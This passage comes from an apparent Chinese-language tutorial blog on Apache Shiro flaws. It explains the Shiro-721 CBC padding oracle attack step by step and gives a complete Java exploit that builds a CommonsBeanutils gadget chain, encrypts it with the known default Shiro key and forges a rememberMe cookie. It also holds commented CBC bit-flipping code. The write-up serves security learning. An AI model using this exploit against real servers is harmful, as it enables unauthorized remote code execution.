//        System.out.println(new String(decrypt));


//        byte[] bytes = "testaaa".getBytes();
//        byte[] newBytes = new byte[8];
//        System.arraycopy(bytes, 0, newBytes, 0, bytes.length);
//        newBytes[7] = (byte) 0x01;
//        //System.out.println(Arrays.toString(newBytes));
//        byte[] ivs = new byte[8];
//        for (int i = 0; i < newBytes.length; i++) {
//            ivs[i] = (byte)(newBytes[i] ^ tmp[i]);
//        }
//        System.out.println("attackiv: " +bytesToHex(ivs));
//        byte[] decrypt = decrypt(ciphertext, key, ivs);
//        System.out.println("修改后的明文: "+new String(decrypt));
    }
}

多组加密

从一组加密我们分析了两个漏洞的原理和利用方式,那么CBC通常是以多组加密的方式进行的,多组加密的流程如下:

image-20220709182948691

图片转载于参考链接中的作者-耶鲁信

可以看到多组加密就是:

1、第一组加密是使用初始化向量iv进行XOR,然后通过加密拿到密文1

2、第二组加密的在XOR使用的iv是上一组的密文1

3、以此类推直到分组结束

那么解密的过程呢?跟一组加解密还不一样:

image-20220709185258788

可以看到的是:

1、解密从解密的第一组密文开始,使用iv也是第一组的初始化向量

2、那么解密第二组的密文的时候,先通过解密运算后使用的iv是第一组的密文

3、以此类推解密出最终的多组明文,然后组合起来就是真正的明文字符

比如密文为:

iv[0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38]+密文1[0x83 0x77 0xA8 0x3F 0x6F 0x8E 0x00 0xBB ]+密文2[0x83 0x77 0xA8 0x3F 0x6F 0x8E 0x00 0xBB ]+密文3[...]

假如我们要解密可以从第二组开始,我们直接拿密文1去从充当iv就行了,注意了前一个密文解密失败不会影响后面密文的解密,会继续拿前一个密文当做iv。

Shiro Padding Oracle Attack

Shiro在官方编号为721,这个是在550修复后比较出名的一个漏洞,但并不是反序列化,因为shiro无论是在最新版本还是存在这个反序列化的过程,前提条件是能拿到正确的key。但在shiro 1.4.2之前的版本可以利用Shiro Padding Oracle Attack进行攻击,因为在1.4.2之前的版本是利用CBC的加密模式进行的,就有可能存在该漏洞,而且并不需要key。

在更新1.2.4之后,官方就修复了固定key的漏洞,修改为每次启动shiro都会随机生成一次key:

image-20231214164551609

这里看了好多好多文章,终于理解是怎么运行的了。一头雾水,还以为要把这些中间值都解密出来,晕~

一开始我就迷惑,很多文章一直在讲看p0大神的文章,我去看的时候发现博客已经关闭了,思考了许久,还是想不出个道道来。因为你想后面加两组密文,分别为密文1和密文2,那么密文1是当作密文2的iv,根据不断改变iv的填充值获取后一个密文的中间值。然后通过我们的明文和中间值进行xor就可以得到我们密文1的真正的iv值。

我就迷惑了,就算密文1是当作iv去解密我们的随机密文4,那么AES对我们的密文4进行解密不是不能解密出来吗?

后面我真正找到p0的文章的时候,突然恍然大悟,原来我们不需要关心密文4进行解密的时候正不正确,只是说经过AES解密后然后和iv进行xor会变成一个乱码的明文而已。

所以用两组进行不断异或是下面的一个流程(这里用DES的8字节来表示):

1、生成两个组,一个是00000000(密文2),一个是随机的12345678(密文3)

2、把两个组接起来,那么就是00000000(密文2)+12345678(密文3)

3、把两个组放到rememberMeCookie密文的后面,那么就是rememberMeCookie+00000000(密文2)+12345678(密文3)

4、发送新的rememberMeCookie到服务器,服务器会判断00000000(密文2)作为iv值去xor(密文3) 12345678是否填充正确

5、通过不断的测试,会得到一个新iv值,比如说00000000变成了87654321,那么我们就把这个值跟我们的一组payload进行xor,得到的这个值就是跟12345678解密出来的中间值xor的iv值,也就是新的(密文2)。

6、然而拿到这个iv值就可以当作前面一组的密文,然后继续生成00000000(密文1)和iv值(密文3)组合,配合rememberMeCookie继续进行填充猜解。

7、最后得出来的iv值+(密文1)+(密文2)+(密文3),这样解密下来是不是就能得到我们换进去的明文了。

总结一下疑惑:

1、为什么存在这个漏洞?

我们从上面分析shiro 550加解密的时候知道是getRememberedPrincipals方法拿到cookie值后进行解密,然后反序列化。通过convertBytesToPrincipals方法进行解密,如果填充值不对就会出发异常进到onRememberedPrincipalFailure方法当中:

image-20231215224739578

会走到CookieRememberMeManager类的forgetIdentity方法:

image-20231215225040533

这里是触发了SimpleCookie类的removeFrom方法,会把DELETED_COOKIE_VALUE写到cookie到中:

image-20231215225405476

所以这里就符合我们padding Oracle 的条件:

  1. padding失败,返回rememberMe=deleteMe
  2. padding成功,返回正常的响应数据

2、为什么我们把额外的payload不断填充到rememberMeCookie后不会影响正常的反序列化?

我做了一个测试,就是把序列化后的字节码然后新增了一些字节码在后面,最后进行反序列化的时候是不影响前面的反序列化的。

image-20231215230036247

java中的ObjectOutputStream是一个Stream,他会按格式以队列方式读下去,后面拼接无关内容,不会影响反序列化。

攻击的话可以用下面的工具进行:

https://github.com/longofo/PaddingOracleAttack-Shiro-721

但是呢,这个洞有点鸡肋,实战中有一些问题:

1、时间问题,本地猜解大概都要1个小时,实战更不容说了,时间成本很高

2、安全设备问题,因为不断通过发送大量的数据包过去会引起设备的阻拦和被监测到

3、payload长短,不宜太长,太长会导致发送数据包时间过长

0x03 无利用链的Shiro反序列化利用

有时候我们打攻防的时候经常遇到Shiro能爆出key值,但是没有利用链,这个是怎么回事?

我们做个实验,把上文中的cc组件去掉,然后再重新打包运行:

image-20231215232409947

你会发现是可以正常运行的,那就是使用shiro就根本不需要用到cc组件:

image-20231215232615875

是因为shiro只需呀用到CommonsBeanutils组件即可,那么我们想到我们的CB1利用链:

image-20231215232954910

我们尝试生成利用链看看,发现我们当中的BeanComparator类会利用到ComparableComparator,但是呢ComparableComparator又是CC组件里面的:

image-20231215234804399

知道BeanComparator中的ComparableComparator的作用就是返回一个ComparableComparator对象,实际上对我们利用链没有影响,所以我们要找一个是实现Comparator类,有Serializable的来代替。那么我们只能从java内部类、Shiro自带的、CommonsBeanutils里面寻找:

 public BeanComparator() {
        this((String)null);
    }

    public BeanComparator(String property) {
        this(property, ComparableComparator.getInstance());
    }

    public BeanComparator(String property, Comparator comparator) {
        this.setProperty(property);
        this.comparator = comparator;
    }

在String里面有一个内部类是刚好符合我们的要求的:

image-20231216002214360

实现了Serializable和Comparator接口,那么它的常量名为CASE_INSENSITIVE_ORDER,我们直接调用即可:

image-20231216002332984

修改后的代码为:


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.PriorityQueue;

public class expShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {



        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());



        BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);


        PriorityQueue priorityQueue = new PriorityQueue(beanComparator);

        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(priorityQueue,"queue",new Object[]{obj,obj});
        setFieldValue(priorityQueue, "size", 2);
        Class aClass = priorityQueue.getClass();
        Method heapify = aClass.getDeclaredMethod("heapify");
        heapify.setAccessible(true);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();

        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(priorityQueue);
        oss.close();
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());



    }

}

我们将生成的cookie进行利用:

image-20231216002829347

最后这里说下,其实如果shiro的commons.beanutils版本跟我们的生成利用链的commons.beanutils不一致会出现以下错误:

org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc
serialVersionUID = -2044202215314119608, local class serialVersionUID =
-3490850999041592962

因为我的利用文件是跟shiro同一个项目的所以不会出现这个问题,解决办法就是用跟shiro同一个版本的commons.beanutils。

0x04 总结

写到Shiro Padding Oracle Attack部分的时候卡了大概两天,中途也想过放弃,但是我就是有强迫症,没弄懂的一定要弄懂,不然前面的时间都浪费了。

希望大家学习到比较复杂的漏洞利用的时候可以耐心去学,要是真的学不下就去打几把游戏,但是一定要弄懂~

0x05 参考

https://blog.csdn.net/qq_47886905/article/details/123479769

https://paper.seebug.org/1782/

《Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用》

《Java安全漫谈 - 17.CommonsBeanutils与无commons-collections的Shiro反序列化利用》

https://xz.aliyun.com/t/7207

shiro721 Padding Oracle Attack详细分析(一)

shiro721 Padding Oracle Attack详细分析(二)

带你了解CBC加密解密

我所理解的Padding Oracle Attack和CBC字节翻转